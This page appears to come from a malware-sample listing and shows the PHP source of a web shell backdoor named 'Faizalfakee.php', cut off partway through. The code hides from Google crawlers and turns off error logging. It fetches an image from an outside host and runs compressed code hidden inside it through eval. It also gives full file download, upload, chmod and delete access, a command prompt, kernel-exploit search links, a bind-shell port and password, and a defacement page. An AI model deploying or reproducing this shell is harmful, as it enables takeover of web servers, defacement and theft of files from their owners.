Jump to:
Screenshot
Attributes
Emails
<?php
@ini_set('output_buffering', 0);
//
//@ini_set('display_errors', 0); //
//@ini_set('error_reporting', 0); //
/*
#####################################################
## Name : Faizalfakee.php ##
## Version : v1.5 Mini ##
## Author : Faizalfakee ##
## Contact : Ifa14815@gmail.com ##
#####################################################
*/
$pass = "3776ae7a24f461c33aa4e60a8e43eda9";
// Password Encrypted By MD5, pass is:" faizalfakee "
$title = "Faizalfakee.php";
// Title
$color = "white";
// Color
$background = "http://oi58.tinypic.com/2u8fmnn.jpg";
// Background
$logo = "http://oi58.tinypic.com/10r33mq.jpg";
// Logo
$music = "https://e.top4top.io/m_19768wlyd0.mp3";
$script_deface = "<html><head><title>Touched By Faizalfakee</title></head><body>Touched By Faizalfakee <br> My Friends : LEXUSFAKEE - MR.R07 - BABI NGEPET - UNKNOWNEXPLOIT - KENZO X DEMONS - SADBOY REMBTUK343 |<embed src='http://www.youtube.com/v/qD8OnPC1fLI&autoplay=1&loop=1' type='application/x-shockwave-flash' wmode='transparent' width='0' height='0'></embed>";
//Script Deface. (html, php, txt)
/*
Content is encrypted by gzdeflate , base64 , and others . if you want the source code , please use the tool "PHP Decrypter". In case you dont trust me :-P
*/
eval("\n\$xName = \"Security Exploded\";\n\$versi = \"v1.5 Mini\"; // Shell Version\n\$default_action = 'FilesMan'; \n@define('SELF_PATH', __FILE__); \nif( strpos(\$_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { \n header('HTTP/1.0 404 Not Found'); \n exit; }\n\$indo=file_get_contents(\"https://image.ibb.co/ct3Zrn/indonesia_icon.png\"); \n@session_start(); \n@error_reporting(0); \n@ini_set('error_log',NULL); \n@ini_set('log_errors',0); \n@ini_set('max_execution_time',0);\n@ini_set('output_buffering',0); \n@ini_set('display_errors', 0);\n@set_time_limit(0); \n@set_magic_quotes_runtime(0); \n@define('VERSION', '2.1'); \neval(gzinflate(substr(\$indo,1934)));\nif( get_magic_quotes_gpc() ) { \n function stripslashes_array(\$array) { return is_array(\$array) ? array_map('stripslashes_array', \$array) : stripslashes(\$array); } \n \$_POST = stripslashes_array(\$_POST); \n} \nfunction printLogin() { \n?><html><head>\n<link rel=\"SHORTCUT ICON\" href=\"http://oi58.tinypic.com/10r33mq.jpg\">\n<title>Security Exploded</title>\n</head>\n<body>\n<style type=\"text/css\">\nbody { background-color:transparan;background:#000;background-image: url(\"http://oi60.tinypic.com/in74pi.jpg\");background-position: center; background-attachment: fixed;background-repeat: repeat; } \n.tabnez{ margin:30px auto 0 auto;border: 1px solid #333333; color: grey; \n-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;}\nbody,td,th {font-family: Verdana;font-size: 12px;color: grey;font-weight: bold;}\ninput {BORDER-RIGHT:grey 1px solid;BORDER-TOP:grey 1px solid;BORDER-LEFT:grey 1px solid;BORDER-BOTTOM: grey 1px solid;BACKGROUND-COLOR: #111111;COLOR: grey;font: 8pt Verdana;}\n</style><style type=\"text/css\">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>\n\n<img src=\"http://oi58.tinypic.com/2u8fmnn.jpg\" title=\"./Port22\" style=\"float:left\" alt=\"Exploded\" height='250' width='700'/>\n<br><br><br><br><br><br><br><br><br><center>\n<table>\n<form method='post'>\n<tr>\n<td><img src='http://oi58.tinypic.com/10r33mq.jpg' class=\"tabnez\" height='20' width='24'></td>\n<td><input class=\"tabnez\" type=\"password\" name=\"pass\" placeholder=\"Password\"></td>\n<td><input class=\"tabnez\" type=\"submit\" value=\"Login !\"></td>\n</tr>\n</form>\n</table>\n</body>\n</html>\n <?php break ;\n exit; \n} \nif( !isset( \$_SESSION[md5(\$_SERVER['HTTP_HOST'])] )) \n if( empty( \$pass ) || \n ( isset( \$_POST['pass']) && ( md5(\$_POST['pass']) == \$pass ) ) ) \n \$_SESSION[md5(\$_SERVER['HTTP_HOST'])] = true; \n else \n printLogin();\n \n@ini_set('log_errors',0);\n@ini_set('display_errors',0);\n@ini_set('output_buffering',0); \n@ini_set('file_uploads',1);\nif(isset(\$_GET['dl']) && (\$_GET['dl'] != \"\")){\n \$file = \$_GET['dl'];\n \$filez = @file_get_contents(\$file);\n header(\"Content-type: application/octet-stream\"); \n header(\"Content-length: \".strlen(\$filez)); \n header(\"Content-disposition: attachment; filename=\\\"\".basename(\$file).\"\\\";\");\n echo \$filez; \n exit; \n}\nelseif(isset(\$_GET['dlgzip']) && (\$_GET['dlgzip'] != \"\")){\n \$file = \$_GET['dlgzip'];\n \$filez = gzencode(@file_get_contents(\$file));\n header(\"Content-Type:application/x-gzip\\n\"); \n header(\"Content-length: \".strlen(\$filez)); \n header(\"Content-disposition: attachment; filename=\\\"\".basename(\$file).\".gz\\\";\");\n echo \$filez; \n exit; \n}\n// view image\nif(isset(\$_GET['img'])){\n @ob_clean(); \n \$d = magicboom(\$_GET['y']);\n \$f = \$_GET['img'];\n \$inf = @getimagesize(\$d.\$f); \n \$ext = explode(\$f,\".\"); \n \$ext = \$ext[count(\$ext)-1]; \n @header(\"Content-type: \".\$inf[\"mime\"]);\n @header(\"Cache-control: public\"); \n @header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030))); \n @header(\"Cache-control: max-age=\".(60*60*24*7)); \n @readfile(\$d.\$f); \n exit; \n}\n//php info\n\$phpinfo = \"?&x=phpinfo\";\n// Server software\n\n\$software = getenv(\"SERVER_SOFTWARE\");\n// CMD\n\$cmdbox = \"help\";\n// Server Port\n\$serverport = \$_SERVER[\"SERVER_PORT\"];\n// Backdoor Name\n\$backdoor_name = \"\$title \";\n// check safemode\nif (@ini_get(\"safe_mode\") or strtolower(@ini_get(\"safe_mode\")) == \"on\") \$safemode = TRUE; else \$safemode = FALSE;\n// uname -a\n\$system = @php_uname();\n// detector\nfunction showstat(\$stat) {if (\$stat==\"on\") {return \"<b><font style='color:#00FF00'>ON</font></b>\";}else {return \"<b><font style='color:#ff0000'>OFF</font></b>\";}}\nfunction testmysql() {if (function_exists('mysql_connect')) {return showstat(\"on\");}else {return showstat(\"off\");}}\nfunction testcurl() {if (function_exists('curl_version')) {return showstat(\"on\");}else {return showstat(\"off\");}}\nfunction testwget() {if (exe('wget --help')) {return showstat(\"on\");}else {return showstat(\"off\");}}\nfunction testoracle() { if (function_exists('ocilogon')) {return showstat(\"on\"); }else {return showstat(\"off\"); }}\nfunction testmssql() { if (function_exists('mssql_connect')) {return showstat(\"on\"); }else {return showstat(\"off\"); }}\nfunction testperl() {if (exe('perl -h')) {return showstat(\"on\");}else {return showstat(\"off\");}}\nfunction testpython() {if (exe('python -h')) {return showstat(\"on\");}else {return showstat(\"off\");}}\nfunction testruby() {if (exe('ruby -h')) {return showstat(\"on\");}else {return showstat(\"off\");}}\nfunction testgcc() {if (exe('gcc --help')) {return showstat(\"on\");}else {return showstat(\"off\");}}\nfunction testjava() {if (exe('java -h')) {return showstat(\"on\");}else {return showstat(\"off\");}}\n// check os\nif(strtolower(substr(\$system,0,3)) == \"win\") \$win = TRUE;\nelse \$win = FALSE; \n// change directory\nif(isset(\$_GET['y'])){\n if(@is_dir(\$_GET['view'])){\n \$pwd = \$_GET['view'];\n @chdir(\$pwd);\n }\n else{\n \$pwd = \$_GET['y'];\n @chdir(\$pwd);\n }\n}\n//hdd\nfunction convertByte(\$s) {\nif(\$s<=0) return 0;\n \$w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');\n \$e = floor(log(\$s)/log(1024));\n return sprintf('%.2f '.\$w[\$e], (\$s/pow(1024, floor(\$e))));\n}\n//\n\n// username, id, shell prompt and working directory\nif(!\$win){\n if(!\$user = rapih(exe(\"whoami\"))) \$user = \"\";\n if(!\$id = rapih(exe(\"id\"))) \$id = \"\";\n \$prompt = \$user.\" \\\$ \";\n \$pwd = @getcwd().DIRECTORY_SEPARATOR;\n}\nelse {\n \$user = @get_current_user();\n \$id = \$user;\n \$prompt = \$user.\" >\";\n \$pwd = realpath(\".\").\"\\\\\";\n // find drive letters\n \$v = explode(\"\\\\\",\$d); \n \$v = \$v[0]; \n foreach (range(\"A\",\"Z\") as \$letter) \n { \n \$bool = @is_dir(\$letter.\":\\\\\");\n if (\$bool) \n { \n \$letters .= \"<a href=\\\"?y=\".\$letter.\":\\\\\\\">[ \";\n if (\$letter.\":\" != \$v) {\$letters .= \$letter;} \n else {\$letters .= \"<span class=\\\"gaya\\\">\".\$letter.\"</span>\";} \n \$letters .= \" </a>] \"; \n } \n } \n}\n\nfunction getrealip(){\nif (!empty(\$_SERVER['HTTP_CLIENT_IP']))\n{ \$ip=\$_SERVER['HTTP_CLIENT_IP']; \n}elseif (!empty(\$SERVER['HTTP_X_FORWARDED_FOR']))\n//TO CHEK IP IS PASS FROM PROXY\n{ \$ip=\$_SERVER['HTTP_X_FORWARDED_FOR'];\n}else { \$ip=\$_SERVER['REMOTE_ADDR'];\n}\nreturn \$ip;\n}\n\n function showdisablefunctions() {\n if (\$disablefunc=@ini_get(\"disable_functions\")){ return \"<span style='color:#ff0000'><b>\".\$disablefunc.\"</b></span>\"; }\n else { return \"<span style='color:#00FF00'><b>NONE</b></span>\"; }\n }\n \nif(function_exists(\"posix_getpwuid\") && function_exists(\"posix_getgrgid\")) \$posix = TRUE;\nelse \$posix = FALSE;\n// server ip\n\$server_ip = @gethostbyname(\$_SERVER[\"HTTP_HOST\"]);\n// your ip ;-)\n\$my_ip = \$_SERVER['REMOTE_ADDR'];\n\$admin_id=\$_SERVER['SERVER_ADMIN'];\n\$bindport = \"13123\";\n\$bindport_pass = \"exploded\";\n// Security Exploded\n\$uplink = \"http://www.security-exploded.org/search/label/Exploded Shell Backdoor\";\n//wilworm\n\$release = @php_uname('r');\n \$kernel = @php_uname('s');\n \$millink='http://milw0rm.com/search.php?dong=';\n \n if( strpos('Linux', \$kernel) !== false )\n \$millink .= urlencode( 'Linux Kernel ' . substr(\$release,0,6) );\n else\n \$millink .= urlencode( \$kernel . ' ' . substr(\$release,0,3) );\n if(!function_exists('posix_getegid')) {\n \$user = @get_current_user();\n \$uid = @getmyuid();\n \$gid = @getmygid();\n \$group = \"?\";\n } else {\n \$uid = @posix_getpwuid(@posix_geteuid());\n \$gid = @posix_getgrgid(@posix_getegid());\n \$user = \$uid['name'];\n \$uid = \$uid['uid'];\n \$group = \$gid['name'];\n \$gid = \$gid['gid'];\n }\n // Exploit-db\n \$release = @php_uname('r');\n \$kernel = @php_uname('s');\n \$explink = 'http://exploit-db.com/search/?action=search&filter_description=';\n \n if( strpos('Linux', \$kernel) !== false )\n \$explink .= urlencode( 'Linux Kernel ' . substr(\$release,0,6) );\n else\n \$explink .= urlencode( \$kernel . ' ' . substr(\$release,0,3) );\n if(!function_exists('posix_getegid')) {\n \$user = @get_current_user();\n \$uid = @getmyuid();\n \$gid = @getmygid();\n \$group = \"?\";\n } else {\n \$uid = @posix_getpwuid(@posix_geteuid());\n \$gid = @posix_getgrgid(@posix_getegid());\n \$user = \$uid['name'];\n \$uid = \$uid['uid'];\n \$group = \$gid['name'];\n \$gid = \$gid['gid'];\n }\n// separate the working direcotory\n\$pwds = explode(DIRECTORY_SEPARATOR,\$pwd);\n\$pwdurl = \"\";\nfor(\$i = 0 ; \$i < sizeof(\$pwds)-1 ; \$i++){\n \$pathz = \"\";\n for(\$j = 0 ; \$j <= \$i ; \$j++){\n \$pathz .= \$pwds[\$j].DIRECTORY_SEPARATOR;\n }\n \$pwdurl .= \"<a href=\\\"?y=\".\$pathz.\"\\\">\".\$pwds[\$i].\" \".DIRECTORY_SEPARATOR.\" </a>\";\n}\n \n// Rename file or folder\nif(isset(\$_POST['Rename'])){\n \$old = \$_POST['oldname'];\n \$new = \$_POST['newname'];\n @Rename(\$pwd.\$old,\$pwd.\$new);\n \$file = \$pwd.\$new;\n}\nif(isset(\$_POST['uploadcompt'])){\n if(is_uploaded_file(\$_FILES['file']['tmp_name'])){\n \$path = magicboom(\$_POST['path']);\n \$fname = \$_FILES['file']['name'];\n \$tmp_name = \$_FILES['file']['tmp_name'];\n \$pindah = \$path.\$fname; \n \$stat = @move_uploaded_file(\$tmp_name,\$pindah);}\n }\n\nif( \$_POST['_upl'] == \"Upload\" ) {\nif(@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo ''; }\nelse { echo ''; }\n}\nif(isset(\$_POST['Chmod'])){ \n \$name = \$_POST['name'];\n \$value = \$_POST['newvalue'];\nif (strlen(\$value)==3){\n \$value = 0 . \"\" . \$value;}\n @Chmod(\$pwd.\$name,octdec(\$value));\n \$file = \$pwd.\$name;} \nif(isset(\$_POST['Chmod_folder'])){\n \$name = \$_POST['name'];\n \$value = \$_POST['newvalue'];\nif (strlen(\$value)==3){\n \$value = 0 . \"\" . \$value;}\n @Chmod(\$pwd.\$name,octdec(\$value));\n \$file = \$pwd.\$name;}\n\n//////////////////////////////////\n// print useful info\n\n\$buff = \"Shell Backdoor : <b><font style='color:\$color'> \$backdoor_name \$versi</font><b> <span class=\\\"gaya\\\"></a></b></b></font><b><span class=\\\"gaya\\\"> | </span><a href='\$uplink' title='Search Shell Backdoor From Security Exploded' target='_blank'><font style='color:#ff0000'>[ Security Exploded ]</a></b></font><br>Version : <b><font style='color:\$color'>\".\$versi.\"</font></a></b><br> Software : <b>\".\$software.\"</b><br />\";\n\$buff .= \"System OS : <b>\".\$system.\" | <a href='http://www.google.com/search?q=\".urlencode(@php_uname()).\"' title='Search System OS From Google' target='_blank'><font style='color:#ff0000'>[ Google ]</font></a> | <a href='\".\$millink.\"' title='Search Karnel From Milw0rm' target=_blank><font style='color:#ff0000'>[ Milw0rm ]</font></a> | <a href='\".\$explink.\"' title='Search Karnel From Exploit-db' target=_blank><font style='color:#ff0000'>[ Exploit-db ]</font></a></b><br />\";\nif(\$id != \"\") \$buff .= \"ID : <b>\".\$id.\"</b><br />\";\n\$buff .= \"PHP Version : <b>\".phpversion().\"</b> ON <b>\".php_sapi_name().\"<span class=\\\"gaya\\\"> | </span><a href='\$phpinfo' title='PHP Info'><font style='color:#ff0000'>[ PHP Info ]</font></a> </b><br />\";\n\$buff .= \"Server IP : <b><font style='color:#ff0000'>\".\$server_ip.\"</font></b> <span class=\\\"gaya\\\"> | </span> Port Server : <b><font style='color:#ff0000'>\".\$serverport.\"</font></b><span class=\\\"gaya\\\"> | </span> Your IP Surving : <b><a href='http://www.dnsstuff.com/tools?runFromMain=\".getrealip().\"&toolType=traceroute' title='Traceroute Your IP' target='_blank'><font style='color:#ff0000'>\".getrealip().\"<font></a></b><span class=\\\"gaya\\\"> | </span> Admin : <b>\".\$admin_id.\"</b><br />\";\n\$buff .= \"Free Disk: <font style='color:#ff0000'><b>\".convertByte(disk_free_space(\"/\")).\" <span class=\\\"gaya\\\"> / </span> \".convertByte(disk_total_space(\"/\")).\"</b></font></span><br />\";\nif(\$safemode) \$buff .= \"Safemode: <span class=\\\"gaya\\\"><font style='color:#ff0000'><b>ON</b></font></span><br />\";\nelse \$buff .= \"Safemode: <span class=\\\"gaya\\\"><b>OFF</b></span><br />\";\n\$buff .= \"Disable Functions: \".showdisablefunctions().\"<br />\";\n\$buff .= \"MySQL: \".testmysql().\" | MSSQL: \".testmssql().\" | Oracle: \".testoracle().\" | Perl: \".testperl().\" | Python: \".testpython().\" | Ruby: \".testruby().\" | Java: \".testjava().\" | GCC: \".testgcc().\" | cURL: \".testcurl().\" | WGet: \".testwget().\"<br>\";\n\$buff .=\"<font color=00ff00 >Drive : <b>\".\$letters.\" > \".\$pwdurl.\"</b></font>\";\n\n\n function rapih(\$text){\n return trim(str_replace(\"<br />\",\"\",\$text));\n}\n\nfunction magicboom(\$text){\n if (!get_magic_quotes_gpc()) {\n return \$text;\n } \n return stripslashes(\$text);\n}\n\nfunction showdir(\$pwd,\$prompt){\n \$fname = array();\n \$dname = array();\n if(function_exists(\"posix_getpwuid\") && function_exists(\"posix_getgrgid\")) \$posix = TRUE;\n else \$posix = FALSE;\n \$user = \"????:????\";\n if(\$dh = @scandir(\$pwd)){\n foreach(\$dh as \$file){\n if(is_dir(\$file)){\n \$dname[] = \$file;\n }\n elseif(is_file(\$file)){\n \$fname[] = \$file;\n }\n }\n }\n else{\n if(\$dh = @opendir(\$pwd)){\n while(\$file = @readdir(\$dh)){\n if(@is_dir(\$file)){\n \$dname[] = \$file;\n }\n elseif(@is_file(\$file)){\n \$fname[] = \$file;\n }\n }\n @closedir(\$dh);\n }\n }\n sort(\$fname);\n sort(\$dname);\n \$path = @explode(DIRECTORY_SEPARATOR,\$pwd);\n \$tree = @sizeof(\$path);\n \$parent = \"\";\n \$buff = \"<center>\n <form action=\\\"?y=\".\$pwd.\"&x=shell\\\" method=\\\"post\\\" style=\\\"margin:8px 0 0 0;\\\">\n <table class=\\\"cmdbox\\\" style=\\\"width:45%;\\\">\n <tr><td><b>\$prompt</b></td><td><input onMouseOver=\\\"this.focus();\\\" id=\\\"cmd\\\" class=\\\"inputz\\\" type=\\\"text\\\" name=\\\"cmd\\\" style=\\\"width:400px;\\\" value=help /><input class=\\\"inputzbut\\\" type=\\\"submit\\\" value=\\\"Go !\\\" name=\\\"submitcmd\\\" style=\\\"width:80px;\\\" /></td></tr>\n </form>\n <form action=\\\"?\\\" method=\\\"get\\\" style=\\\"margin:8px 0 0 0;\\\">\n <input type=\\\"hidden\\\" name=\\\"y\\\" value=\\\"\".\$pwd.\"\\\" />\n <tr><td><b>View </b></td><td><input onMouseOver=\\\"this.focus();\\\" id=\\\"goto\\\" class=\\\"inputz\\\" type=\\\"text\\\" name=\\\"view\\\" style=\\\"width:400px;\\\" value=\\\"\".\$pwd.\"\\\" /><input class=\\\"inputzbut\\\" type=\\\"submit\\\" value=\\\"View !\\\" name=\\\"submitcmd\\\" style=\\\"width:80px;\\\" /></td></tr></center>\n \n </form></table><br><table class=\\\"explore\\\">\n <tr><th>Name</th><th style=\\\"width:80px;\\\">Size</th><th style=\\\"width:210px;\\\">Owner:Group</th><th style=\\\"width:80px;\\\">Perms</th><th style=\\\"width:110px;\\\">Modified</th><th style=\\\"width:190px;\\\">Actions</th></tr>\n \";\n if(\$tree > 2) for(\$i=0;\$i<\$tree-2;\$i++) \$parent .= \$path[\$i].DIRECTORY_SEPARATOR;\n else \$parent = \$pwd; \n\n foreach(\$dname as \$folder){\n if(\$folder == \".\") {\n if(!\$win && \$posix){\n \$name=@posix_getpwuid(@fileowner(\$folder));\n \$group=@posix_getgrgid(@filegroup(\$folder));\n \$owner = \$name['name'].\"<span class=\\\"gaya\\\"> : </span>\".\$group['name'];\n }\n else {\n \$owner = \$user;\n }\n \$buff .= \"<tr><td><a href=\\\"?y=\".\$pwd.\"\\\">\$folder</a></td><td>-</td>\n <td style=\\\"text-align:center;\\\">\".\$owner.\"</td><td><center>\".get_perms(\$pwd).\"</center></td>\n <td style=\\\"text-align:center;\\\">\".date(\"d-M-Y H:i\",@filemtime(\$pwd)).\"</td><td><span id=\\\"titik1\\\">\n <a href=\\\"?y=\$pwd&edit=\".\$pwd.\"newfile.php\\\">New File</a> | <a href=\\\"javascript:tukar('titik1','titik1_form');\\\">New Folder</a> | <a href=\\\"javascript:tukar('titik1','titik4_form');\\\">Upload</a></span>\n <form action=\\\"?\\\" method=\\\"get\\\" id=\\\"titik1_form\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\">\n <input type=\\\"hidden\\\" name=\\\"y\\\" value=\\\"\".\$pwd.\"\\\" />\n <input class=\\\"inputz\\\" style=\\\"width:140px;\\\" type=\\\"text\\\" name=\\\"mkdir\\\" value=\\\"a_new_folder\\\" />\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Rename\\\" style=\\\"width:35px;\\\" value=\\\"Go !\\\" />\n </form>\n <form action=\\\"\\\" id=\\\"titik4_form\\\" method=\\\"post\\\" enctype=\\\"multipart/form-data\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\">\n <input type=\\\"hidden\\\" name=\\\"y\\\" value=\\\"\".\$pwd.\"\\\" />\n <input class=\\\"inputz\\\" type=\\\"file\\\" name=\\\"file\\\" size=\\\"20\\\"/><br>\n <input class=\\\"inputzbut\\\" name=\\\"_upl\\\" type=\\\"submit\\\" id=\\\"_upl\\\" value=\\\"Upload\\\"/>\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Cancel\\\" value=\\\"Cancel\\\" \n onclick=\\\"tukar('\".clearspace(\$folder).\"_link','\".clearspace(\$folder).\"_form3');\\\" />\n </form></td>\n \n </tr>\n \";\n }\n elseif(\$folder == \"..\") {\n if(!\$win && \$posix){\n \$name=@posix_getpwuid(@fileowner(\$folder));\n \$group=@posix_getgrgid(@filegroup(\$folder));\n \$owner = \$name['name'].\"<span class=\\\"gaya\\\"> : </span>\".\$group['name'];\n }\n else {\n \$owner = \$user;\n }\n \$buff .= \"<tr><td><a href=\\\"?y=\".\$parent.\"\\\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'></a></td><td>-</td>\n <td style=\\\"text-align:center;\\\">\".\$owner.\"</td>\n <td><center>\".get_perms(\$parent).\"</center></td><td style=\\\"text-align:center;\\\">\".date(\"d-M-Y H:i\",@filemtime(\$parent)).\"</td>\n <td><span id=\\\"titik2\\\"><a href=\\\"?y=\$pwd&edit=\".\$parent.\"newfile.php\\\">New File</a> | <a href=\\\"javascript:tukar('titik2','titik2_form');\\\">New Folder</a> | <a href=\\\"javascript:tukar('titik2','titik3_form');\\\">Upload</a></span>\n <form action=\\\"?\\\" method=\\\"get\\\" id=\\\"titik2_form\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\">\n <input type=\\\"hidden\\\" name=\\\"y\\\" value=\\\"\".\$pwd.\"\\\" />\n <input class=\\\"inputz\\\" style=\\\"width:140px;\\\" type=\\\"text\\\" name=\\\"mkdir\\\" value=\\\"a_new_folder\\\" />\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Rename\\\" style=\\\"width:35px;\\\" value=\\\"Go !\\\" />\n </form>\n <form action=\\\"\\\" id=\\\"titik3_form\\\" method=\\\"post\\\" enctype=\\\"multipart/form-data\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\">\n <input type=\\\"hidden\\\" name=\\\"y\\\" value=\\\"\".\$pwd.\"\\\" />\n <input class=\\\"inputz\\\" type=\\\"file\\\" name=\\\"file\\\" size=\\\"20\\\"/><br>\n <input class=\\\"inputzbut\\\" name=\\\"_upl\\\" type=\\\"submit\\\" id=\\\"_upl\\\" value=\\\"Upload\\\"/>\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Cancel\\\" value=\\\"Cancel\\\" \n onclick=\\\"tukar('\".clearspace(\$folder).\"_link','\".clearspace(\$folder).\"_form3');\\\" />\n </form>\n </td></tr>\";\n }\n else {\n if(!\$win && \$posix){\n \$name=@posix_getpwuid(@fileowner(\$folder));\n \$group=@posix_getgrgid(@filegroup(\$folder));\n \$owner = \$name['name'].\"<span class=\\\"gaya\\\"> : </span>\".\$group['name'];\n }\n else {\n \$owner = \$user;\n }\n \$buff .= \"<tr><td><a id=\\\"\".clearspace(\$folder).\"_link\\\" href=\\\"?y=\".\$pwd.\$folder.DIRECTORY_SEPARATOR.\"\\\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ \$folder ]</b></a>\n <form action=\\\"?y=\$pwd\\\" method=\\\"post\\\" id=\\\"\".clearspace(\$folder).\"_form\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\">\n <input type=\\\"hidden\\\" name=\\\"oldname\\\" value=\\\"\".\$folder.\"\\\" style=\\\"margin:0;padding:0;\\\" />\n <input class=\\\"inputz\\\" style=\\\"width:200px;\\\" type=\\\"text\\\" name=\\\"newname\\\" value=\\\"\".\$folder.\"\\\" />\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Rename\\\" value=\\\"Rename\\\" />\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Cancel\\\" value=\\\"Cancel\\\" onclick=\\\"tukar('\".clearspace(\$folder).\"_form','\".clearspace(\$folder).\"_link');\\\" />\n </form><td>DIR</td><td style=\\\"text-align:center;\\\">\".\$owner.\"</td>\n <td><center>\n <a href=\\\"javascript:tukar('\".clearspace(\$folder).\"_link','\".clearspace(\$folder).\"_form3');\\\">\".get_perms(\$pwd.\$folder).\"</a>\n <form action=\\\"?y=\$pwd\\\" method=\\\"post\\\" id=\\\"\".clearspace(\$folder).\"_form3\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\"> \n <input type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"\".\$folder.\"\\\" style=\\\"margin:0;padding:0;\\\" /> \n <input class=\\\"inputz\\\" style=\\\"width:150px;\\\" type=\\\"text\\\" name=\\\"newvalue\\\" value=\\\"\".substr(sprintf('%o', fileperms(\$pwd.\$folder)), -4).\"\\\" /> \n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Chmod_folder\\\" value=\\\"Chmod\\\" /> \n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Cancel\\\" value=\\\"Cancel\\\" \n onclick=\\\"tukar('\".clearspace(\$folder).\"_link','\".clearspace(\$folder).\"_form3');\\\" /></form></center></td>\n <td style=\\\"text-align:center;\\\">\".date(\"d-M-Y H:i\",@filemtime(\$folder)).\"</td>\n <td><a href=\\\"javascript:tukar('\".clearspace(\$folder).\"_link','\".clearspace(\$folder).\"_form');\\\">Rename</a> | <a href=\\\"javascript:tukar('\".clearspace(\$folder).\"_link','\".clearspace(\$folder).\"_form4');\\\">Upload</a> | <a href=\\\"?y=\$pwd&fdelete=\".\$pwd.\$folder.\"\\\">Delete</a></span>\n <form action=\\\"\\\" id=\\\"\".clearspace(\$folder).\"_form4\\\" method=\\\"post\\\" enctype=\\\"multipart/form-data\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\">\n <input type=\\\"hidden\\\" name=\\\"y\\\" value=\\\"\".\$pwd.\"\\\" />\n <input class=\\\"inputz\\\" type=\\\"file\\\" name=\\\"file\\\" size=\\\"20\\\"/><br>\n <input class=\\\"inputz\\\" name=\\\"path\\\" type=\\\"text\\\" size=\\\"33\\\" value=\\\"\".\$pwd.\$folder.DIRECTORY_SEPARATOR.\"\\\" /><br>\n <input class=\\\"inputzbut\\\" name=\\\"uploadcompt\\\" type=\\\"submit\\\" value=\\\"Upload\\\"/>\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Cancel\\\" value=\\\"Cancel\\\" \n onclick=\\\"tukar('\".clearspace(\$folder).\"_link','\".clearspace(\$folder).\"_form4');\\\" />\n </form>\n </td></tr>\";\n }\n }\n\n foreach(\$fname as \$file){\n \$full = \$pwd.\$file;\n if(!\$win && 